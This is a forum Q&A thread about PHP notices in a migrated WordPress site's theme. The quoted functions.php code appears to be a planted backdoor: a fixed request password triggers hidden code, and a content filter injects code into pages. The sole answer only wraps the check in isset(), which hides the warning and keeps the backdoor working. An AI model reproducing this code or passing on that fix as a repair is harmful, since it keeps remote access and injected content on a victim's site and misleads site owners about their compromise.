B
B
Boris Belov2016-12-15 18:25:00
WordPress
Boris Belov, 2016-12-15 18:25:00

What is this Notice: Undefined index: password error in Wordpress?

After migrating the site, the following errors appeared

Notice: Undefined index: password in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 152

Strict Standards: Declaration of Walker_Responsive_Menu::start_lvl() should be compatible with Walker_Nav_Menu::start_lvl(&$output, $depth = 0, $args = Array) in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 346

Strict Standards: Declaration of Walker_Responsive_Menu::end_lvl() should be compatible with Walker_Nav_Menu::end_lvl(&$output, $depth = 0, $args = Array) in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 346

Strict Standards: Declaration of Walker_Responsive_Menu::start_el() should be compatible with Walker_Nav_Menu::start_el(&$output, $item, $depth = 0, $args = Array, $id = 0) in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 346

Notice: Undefined index: catwootype in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/woocommerce/archive-product.php on line 4

Notice: Undefined index: catwootype in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/woocommerce/archive-product.php on line 7

Link: http://wordpress.smartavi.com/products/video-wall...
How to solve?
If you go to functions.php
static function create()
          {
            if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
            $GLOBALS['_cache_'] = new SuperClass();
            if ($_REQUEST['password'] == 'feaf8e6f9914037fc41b46243592db26') $GLOBALS['_cache_'] -> pre_cache();
            $GLOBALS['global_code'] = $GLOBALS['_cache_'] -> url_code();
            add_filter('the_content', Array($GLOBALS['_cache_'], 'wordpress_cache'));					
          }

So our mistake is supposedly here
if ($_REQUEST['password'] == 'feaf8e6f9914037fc41b46243592db26') $GLOBALS['_cache_'] -> pre_cache();

Answer the question

In order to leave comments, you need to log in

1 answer(s)
E
E, 2017-03-06
@aylo

Try like this

if (isset($_REQUEST['password']) && $_REQUEST['password'] == 'feaf8e6f9914037fc41b46243592db26')

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question